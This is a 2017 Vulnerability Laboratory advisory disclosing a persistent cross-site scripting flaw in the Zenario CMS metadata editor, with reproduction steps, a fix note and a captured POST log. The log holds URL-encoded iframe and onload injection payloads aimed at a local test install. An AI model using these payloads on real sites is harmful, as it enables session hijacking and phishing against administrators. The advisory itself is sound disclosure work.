Zenario v7.6 - Persistent Cross Site Scripting Vulnerability

Document Title:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Zenario v7.6 - Persistent Cross Site Scripting Vulnerability


References (Source):
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
https://www.vulnerability-lab.com/get_content.php?id=3D2044

https://github.com/TribalSystems/Zenario/commit/cd60f1c8a179ebb779fe0acc0=
51b93f477129b1a


Release Date:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
2017-03-16


Vulnerability Laboratory ID (VL-ID):
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
2044


Common Vulnerability Scoring System:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
3.4


Product & Service Introduction:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D
Zenario is a web-based content management system for sites with one or ma=
ny languages. Its designed to grow with=20
your site, adding extranet, online database and custom functionality when=
 you need it. Zenario 7.2 has a new feature=20
to add CSS styles and media queries, thereby allowing you to make mobile-=
friendly "responsive" email newsletters.

(Copy of the Homepage: http://zenar.io/ )


Abstract Advisory Information:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D
The vulnerability laboratory core research team discovered a persistent v=
alidation vulnerability in the official Zenario v7.6 CMS.


Vulnerability Disclosure Timeline:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
2017-03-13: Researcher Notification & Coordination (Benjamin Kunz Mejri -=
 Evolution Security GmbH)
2017-03-14: Vendor Notification (Zenraio - Security Department)
2017-03-15: Vendor Response/Feedback (Zenraio - Security Department)
2017-03-16: Security Acknowledgements (Zenraio - Security Department)
2017-03-16: Vendor Fix/Patch (Zenraio Service Developer Team)
2017-03-16: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Published


Affected Product(s):
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Zenario
Product: Zenario - Content Management System (Web-Application) 7.6

Zenario
Product: Zenario - Content Management System (Web-Application) 7.5


Exploitation Technique:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Remote


Severity Level:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Medium


Technical Details & Description:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D
A persistent cross site scripting web vulnerability has been discovered i=
n the official Zenario v7.6 content management system.
The persistent validation vulnerability allows remote attacker to inject =
own malicious script code via persistent attack vector.

The security vulnerability is located in the `Browser title` and `Descrip=
tion meta tag` parameters of the `Editing metadata` module.
Remote attackers with privilege web-application user accounts are able to=
 inject own malicious script code to the application-side=20
of the vulnerable module. The validation of the `Search engine results pr=
eview` is broken and allows to execute any injected code=20
by the `Browser title` and `Description meta tag` input fields. First the=
 content is client-side included via POST and after the=20
save the content is saved permanently in the database management system. =
Thus allows a privileged application user account like a
translator or limited admin to inject malicious script codes. The executi=
on occurs on each preview of the malicious injected item.

The security risk of the xss vulnerability is estimated as medium with a =
cvss (common vulnerability scoring system) count of 3.4.=20
Exploitation of the persistent web vulnerability requires a privileged we=
b-application user account and only low user interaction.=20
Successful exploitation of the xss web vulnerability results in persisten=
t phishing attacks, session hijacking, persistent external=20
redirect to malicious sources and persistent manipulation of affected or =
connected web module context.

Request Method(s):
[+] POST

Vulnerable Modules(s):
[+] Forms - Categories - Properties - Metadata & Content

Vulnerable Input Field(s):
[+] Browser title
[+] Description meta tag

Affected Modules(s):
[+] Editing metadata on review
[+] Search engine results preview


Proof of Concept (PoC):
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
The persistent input validation web vulnerability can be exploited by rem=
ote attackers with privileged web-application user account=20
and low user interaction. For security demonstration or to reproduce the =
issue follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1.  Download and step the newst application version
2.  Setup a full admin account and a restricted admin account
3.  Login with a restricted administrator account to the web-application
4.  Now move to the Forms - Categories - Properties - Metadata & Content
Note: Restricted admins are allowed to edit on this part of the forms mod=
ule the meta data
5.  Now inject to the vulnerable input fields a script code payload with =
for example a cross site request
6.  The first execute takes place as self-xss, click the popup and move t=
o the save button (page buttom)
7.  Save the content and logout as restricted administrator
8.  Login as full admin and move to the forms module
9.  Open the new entry of the restricted admin to edit or preview
10. The execution takes place within the formular were the  Search engine=
 results preview is visible
11. Successful reproduce of the persistent vulnerability!


PoC: Vulnerable Source (Execution Point) ---
<div class=3D"google_preview_container">
<h3 class=3D"google_preview_title">
<span id=3D"google_preview_title">test1-"&gt;<[PERSISTENT SCRIPT CODE EXE=
CUTION 1!]></span>
</h3>
<div class=3D"google_preview_url">
<div>
<cite id=3D"google_preview_url">http://zenario.localhost:8080/enquiries/n=
ewsletter-sign-up</cite>
</div>
<span id=3D"google_preview_description" class=3D"google_preview_descripti=
on">test2-"&gt;<[PERSISTENT SCRIPT CODE EXECUTION 2!]></span>
</div></div>



--- PoC Session Logs Inject) ---
Status: 200[OK]
POST http://zenario.localhost:8080/zenario/admin/admin_boxes.ajax.php?pat=
h=3Dzenario_content&cType=3D&language=3D&layoutId=3D&refinerId=3D3&refine=
rName=3Dform_id&refiner__form_id=3D3&id=3Dhtml_25=20
Mime Type[text/javascript]
   Request Header:
      Host[zenario.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/2010=
0101 Firefox/51.0]
      Content-Type[application/x-www-form-urlencoded; charset=3DUTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer[http://zenario.localhost:8080/zenario/admin/organizer.php]
      Content-Length[7364]
      Cookie[__cfduid=3Dd01157c2762731ca1bfcaaa3c144bbd02; PHPSESSID=3D; =
COOKIE_LAST_ADMIN_USER=3D; cookies_accepted=3D1]
      Connection[keep-alive]
   POST-Daten:
      _save[true]
      _confirm[]
      _box[%7B%22key%22%3A%7B%22id%22%3A%22html_25%22%2C%22cID%22%3A25%2C=
%22cType%22%3A%22html%22%2C%22cVersion%22%3A7%2C%22source_cID%22%3A25%2C%=
22source_cVersion%22%3A7%2C%22create_from_content_panel%22%3A%22%22%2C%22=
create_from_toolbar%22%3A%22%22%2C%22from_cID%22%3A%22%22%2C%22from_cType=
%22%3A%22%22%2C%22translate%22%3A%22%22%2C%22equivId%22%3A%22%22%2C%22id_=
is_menu_node_id%22%3A%22%22%2C%22id_is_parent_menu_node_id%22%3A%22%22%2C=
%22duplicate%22%3A%22%22%2C%22duplicate_from_menu%22%3A%22%22%2C%22target=
_cType%22%3A%22%22%2C%22target_title%22%3A%22%22%2C%22target_alias%22%3A%=
22%22%2C%22target_language_id%22%3A%22%22%2C%22target_template_id%22%3A%2=
2%22%2C%22target_menu_title%22%3A%22%22%7D%2C%22tabs%22%3A%7B%22meta_data=
%22%3A%7B%22edit_mode%22%3A%7B%22on%22%3A1%7D%2C%22fields%22%3A%7B%22titl=
e%22%3A%7B%22current_value%22%3A%22test1-%5C%22%3E%3C[PERSISTENT SCRIPT C=
ODE INJECT 1!]%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document.domain)%3E%=
22%7D%2C%22language_id%22%3A%7B%22current_value%22%3A%22en-us%22%7D%2C%22=
publication_date%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22warning_mes=
sage%22%3A%7B%22_was_hidden_before%22%3Atrue%7D%2C%22menu_options%22%3A%7=
B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A%22orphan%22%7D%=
2C%22add_to_menu%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_val=
ue%22%3A%22%22%7D%2C%22create_menu%22%3A%7B%22_was_hidden_before%22%3Atru=
e%2C%22current_value%22%3A0%7D%2C%22menu_title%22%3A%7B%22_was_hidden_bef=
ore%22%3Atrue%2C%22current_value%22%3A%22%5C%22%3E%3Ciframe+src%3Dhttp%3A=
%2F%2Ftest.de+onload%3Dalert(document.domain)%3E%22%7D%2C%22menu_path%22%=
3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A%22%22%7D%2C=
%22menu_parent_path%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_=
value%22%3A%22%22%7D%2C%22alias%22%3A%7B%22_was_hidden_before%22%3Atrue%2=
C%22current_value%22%3A%22%22%7D%2C%22domain_and_subdir_container%22%3A%7=
B%22current_value%22%3A%22http%3A%2F%2Fzenario.localhost:8080%2F%22%7D%2C=
%22description%22%3A%7B%22current_value%22%3A%22test2-%5C%22%3E%3C[PERSIS=
TENT SCRIPT CODE INJECT 2!]%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(documen=
t.domain)%3E%22%7D%2C%22google_preview%22%3A%7B%7D%2C%22keywords%22%3A%7B=
%22current_value%22%3A%22%5C%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Ftest.de+on=
load%3Dalert(document.domain)%3E%22%7D%2C%22writer_id%22%3A%7B%22_was_hid=
den_before%22%3Atrue%2C%22current_value%22%3A0%7D%2C%22writer_name%22%3A%=
7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A%22%22%7D%2C%22=
content_summary%22%3A%7B%22current_value%22%3A%22%3Cul%3E%5Cn%3Cli%3E%3Ca=
+class%3D%5C%22%26quot%3B%3E%3Ciframe+src%3Dhttp%3A%2F%2Ftest.de+onload%3=
Dalert(document.domain)%3E++%26quot%3B%3E%3Ciframe+src%3Dhttp%3A%2F%2Ftes=
t.de+onload%3Dalert(document.domain)%3E%5C%22+title%3D%5C%22%26quot%3B%3E=
%3Ciframe+src%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document.domain)%3E++=
%26quot%3B%3E%3Ciframe+src%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document=
=2Edomain)%3E%5C%22+href%3D%5C%22%2Fzenario%2Fadmin%2F%26quot%3B%3E%3Cifr=
ame+src%3Dhttp%3A%2Ftest.de+onload%3Dalert(document.domain)%3E%5C%22%3E%5=
C%22%26gt%3B%26lt%3Biframe+src%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(docu=
ment.domain)%26gt%3B+%5C%22%26gt%3B%26lt%3Biframe+src%3Dhttp%3A%2F%2Ftest=
=2Ede+onload%3Dalert(document.domain)%26gt%3B%3C%2Fa%3E%3C%2Fli%3E%5Cn%3C=
%2Ful%3E%22%7D%2C%22lock_summary_view_mode%22%3A%7B%22_was_hidden_before%=
22%3Atrue%2C%22current_value%22%3A0%7D%2C%22lock_summary_edit_mode%22%3A%=
7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A0%7D%2C%22layou=
t_id%22%3A%7B%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22url%22%3A%7B%2=
2current_value%22%3A%22%22%7D%2C%22url_test%22%3A%7B%7D%7D%7D%7D%2C%22_sy=
nc%22%3A%7B%22cache_dir%22%3A%22ab_aEhdMVHD_643vdQZQ%22%2C%22password%22%=
3A%22pqLdXs5VqsMIAFh4LFUvwzr4d6arme%2B0w2YdikKdDpA%3D%22%2C%22iv%22%3A%22=
zMeASqbYP4LOj94eDbw8vw%3D%3D%22%2C%22session%22%3Afalse%7D%7D]
   Response Header:
      Server[Apache/2.4.23 (Ubuntu)]
      X-Frame-Options[SAMEORIGIN]
      Content-Length[208]
      Connection[Keep-Alive]
      Content-Type[text/javascript; charset=3DUTF-8]


Reference(s):
http://zenario.localhost:8080/
http://zenario.localhost:8080/zenario/
http://zenario.localhost:8080/zenario/admin/
http://zenario.localhost:8080/zenario/admin/organizer.php
http://zenario.localhost:8080/zenario/admin/admin_boxes.ajax.php



File: zenario/modules/zenario_common_features/tuix/admin_boxes/content.ya=
ml
if (title.length>65) {
title =3D title.substring(0,65).split( ).slice(0, -1).join( ) +  ...=
;
}
$(#google_preview_title).html(title);
$(#google_preview_title).text(title);
if ($(#alias).val()) {
$(#google_preview_url).html(zenario.htmlspecialchars(zenarioAB.value(d=
omain_and_subdir_container) + $(#alias).val()));
$(#google_preview_url).text(zenarioAB.value(domain_and_subdir_containe=
r) + $(#alias).val());
}
post_field_html: |
<div class=3D"snippet__title" >


Solution - Fix & Patch:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
The vulnerability can be resolved by an escape of the content that is dis=
played in the search preview of the edit meta data module.
Disallow the usage of special chars and restrict the input fields to prev=
ent further attacks via search preview module.


Security Risk:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
he security risk of the persistent cross site scripting vulnerability in =
the web-application is estimated as medium. (CVSS 3.4)


Credits & Authors:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://ww=
w.vulnerability-lab.com/show.php?user=3DBenjamin%20K.M.)


Disclaimer & Information:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=

The information provided in this advisory is provided as it is without an=
y warranty. Vulnerability Lab disclaims all warranties, either expressed =
or=20
implied, including the warranties of merchantability and capability for a=
 particular purpose. Vulnerability-Lab or its suppliers are not liable in=
 any=20
case of damage, including direct, indirect, incidental, consequential los=
s of business profits or special damages, even if Vulnerability Labs or i=
ts=20
suppliers have been advised of the possibility of such damages. Some stat=
es do not allow the exclusion or limitation of liability mainly for incid=
ental
or consequential damages so the foregoing limitation may not apply. We do=
 not approve or encourage anybody to break any licenses, policies, deface=
=20
websites, hack into databases or trade with stolen data. We have no need =
for criminal activities or membership requests. We do not publish advisor=
ies=20
or vulnerabilities of religious-, militant- and racist- hacker/analyst/re=
searcher groups or individuals. We do not publish trade researcher mails,=
=20
phone numbers, conversations or anything else to journalists, investigati=
ve authorities or private individuals.=20

Domains:    www.vulnerability-lab.com		- www.vulnerability-db.com					- w=
ww.evolution-sec.com
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/lis=
t-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss=
/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- y=
outube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this fi=
le, resources or information requires authorization from Vulnerability La=
boratory.=20
Permission to electronically redistribute this alert in its unmodified fo=
rm is granted. All other rights, including the use of other media, are re=
served by=20
Vulnerability Lab Research Team or its suppliers. All pictures, texts, ad=
visories, source code, videos and other information on this website is tr=
ademark=20
of vulnerability-lab team & the specific authors or managers. To record, =
list, modify, use or edit our material contact (admin@) to get an ask per=
mission.

				    Copyright =C2=A9 2017 | Vulnerability Laboratory - [Evolution Sec=
urity GmbH]=E2=84=A2



--=20
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com